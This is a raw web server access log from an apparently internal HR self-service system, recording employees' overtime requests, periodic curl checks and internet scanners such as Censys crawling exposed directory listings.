192.168.11.81 - - [04/Sep/2025:19:30:09 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4062
192.168.11.131 - - [04/Sep/2025:19:30:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7521
192.168.11.131 - - [04/Sep/2025:19:30:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167663 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 167663
192.168.11.131 - - [04/Sep/2025:19:30:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312729 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1312729 HTTP/1.1" 302 -
192.168.11.131 - - [04/Sep/2025:19:30:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312729+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.11.131 - - [04/Sep/2025:19:30:29 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312729+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:29 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.11.131 - - [04/Sep/2025:19:30:29 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1312729+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.131 - - [04/Sep/2025:19:30:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14026881365717192 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14026881365717192 HTTP/1.1" 200 8588
192.168.11.131 - - [04/Sep/2025:19:30:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14026881365717192 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14026881365717192" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14026881365717192 HTTP/1.1" 200 14552
192.168.11.131 - - [04/Sep/2025:19:30:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37071826161824006 HTTP/1.1" 200 8588 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:30:59 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37071826161824006 HTTP/1.1" 200 8588
192.168.11.131 - - [04/Sep/2025:19:31:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37071826161824006 HTTP/1.1" 200 14552 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37071826161824006" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:31:03 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.37071826161824006 HTTP/1.1" 200 14552
192.168.11.131 - - [04/Sep/2025:19:31:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.131 - - [04/Sep/2025:19:31:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4065
100.64.0.1 - - [04/Sep/2025:19:49:56 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:49:56 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:19:50:27 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:19:50:27 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:08:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:08:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:10:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:10:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:11:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:11:08 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:17:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:17:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:37:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:37:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:42:49 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826
100.64.0.1 - - [04/Sep/2025:20:42:49 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
100.64.0.1 - - [04/Sep/2025:20:43:21 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:43:21 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:46:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:46:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:49:39 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:20:49:39 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:20:54:19 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [04/Sep/2025:20:54:19 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:02:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:02:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:03:52 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:03:52 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:10:45 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.1; +https://modat.io/)"
100.64.0.1 - - [04/Sep/2025:21:10:45 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:26:29 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:26:29 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:29:48 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:29:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:30:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:30:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:51:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:51:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:21:56:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:21:56:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:05:14 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:05:14 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:06:24 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:06:24 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:17:53 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:17:53 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:19:06 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:19:06 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:45:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:45:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:46:35 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:46:35 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:48:02 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:48:02 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:48:38 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:22:48:38 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:22:53:46 +0800] "\x03" 501 203 "-" "-"
100.64.0.1 - - [04/Sep/2025:22:53:46 +0800] "\x03" 501 203
100.64.0.1 - - [04/Sep/2025:23:11:09 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:09 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:23:11:11 +0800] "GET /eHR1 HTTP/1.1" 301 239
100.64.0.1 - - [04/Sep/2025:23:11:11 +0800] "GET /eHR1 HTTP/1.1" 301 239 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:12 +0800] "GET /eHR1/ HTTP/1.1" 200 649
100.64.0.1 - - [04/Sep/2025:23:11:12 +0800] "GET /eHR1/ HTTP/1.1" 200 649 "http://222.92.19.198:8088/eHR1" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:12 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265
100.64.0.1 - - [04/Sep/2025:23:11:12 +0800] "GET /Apache%20Software%20Foundation HTTP/1.1" 301 265 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:13 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [04/Sep/2025:23:11:13 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "http://222.92.19.198:8088/Apache%20Software%20Foundation" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:13 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273
100.64.0.1 - - [04/Sep/2025:23:11:13 +0800] "GET /Apache%20Software%20Foundation/emphoto HTTP/1.1" 301 273 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099
100.64.0.1 - - [04/Sep/2025:23:11:14 +0800] "GET /Apache%20Software%20Foundation/emphoto/ HTTP/1.1" 200 25099 "http://222.92.19.198:8088/Apache%20Software%20Foundation/emphoto" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282
100.64.0.1 - - [04/Sep/2025:23:11:14 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32 HTTP/1.1" 301 282 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:15 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:15 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ HTTP/1.1" 200 2217
100.64.0.1 - - [04/Sep/2025:23:11:15 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:15 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR HTTP/1.1" 301 287
100.64.0.1 - - [04/Sep/2025:23:11:16 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:16 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/PEAR/ HTTP/1.1" 200 398
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras HTTP/1.1" 301 289
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/ HTTP/1.1" 200 526
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:17 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related HTTP/1.1" 301 301
100.64.0.1 - - [04/Sep/2025:23:11:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/pdf-related/ HTTP/1.1" 200 2771
100.64.0.1 - - [04/Sep/2025:23:11:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:18 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs HTTP/1.1" 301 294
100.64.0.1 - - [04/Sep/2025:23:11:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/mibs/ HTTP/1.1" 200 3813
100.64.0.1 - - [04/Sep/2025:23:11:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:19 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl HTTP/1.1" 301 297
100.64.0.1 - - [04/Sep/2025:23:11:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/extras/openssl/ HTTP/1.1" 200 525
100.64.0.1 - - [04/Sep/2025:23:11:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:20 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext HTTP/1.1" 301 286
100.64.0.1 - - [04/Sep/2025:23:11:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/ext" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/ext/ HTTP/1.1" 200 2780
100.64.0.1 - - [04/Sep/2025:23:11:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286
100.64.0.1 - - [04/Sep/2025:23:11:21 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev HTTP/1.1" 301 286 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392 "http://222.92.19.198:8088/Apache%20Software%20Foundation/php-5.2.14-Win32/dev" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:22 +0800] "GET /Apache%20Software%20Foundation/php-5.2.14-Win32/dev/ HTTP/1.1" 200 392
100.64.0.1 - - [04/Sep/2025:23:11:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2 HTTP/1.1" 301 275
100.64.0.1 - - [04/Sep/2025:23:11:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:23 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/ HTTP/1.1" 200 1125
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin HTTP/1.1" 301 283
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/cgi-bin" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/cgi-bin/ HTTP/1.1" 403 247
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:24 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs HTTP/1.1" 301 280
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/logs" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/logs/ HTTP/1.1" 200 15401
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error HTTP/1.1" 301 281
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/error" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:25 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/error/ HTTP/1.1" 200 1877
100.64.0.1 - - [04/Sep/2025:23:11:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons HTTP/1.1" 301 281
100.64.0.1 - - [04/Sep/2025:23:11:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449 "http://222.92.19.198:8088/Apache%20Software%20Foundation/Apache2.2/icons" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:11:27 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/icons/ HTTP/1.1" 200 7449
100.64.0.1 - - [04/Sep/2025:23:14:01 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:23:14:01 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:23:15:16 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:23:15:16 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:23:15:40 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:23:15:40 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:23:15:40 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)"
100.64.0.1 - - [04/Sep/2025:23:15:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:23:18:03 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:23:18:03 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:23:23:17 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
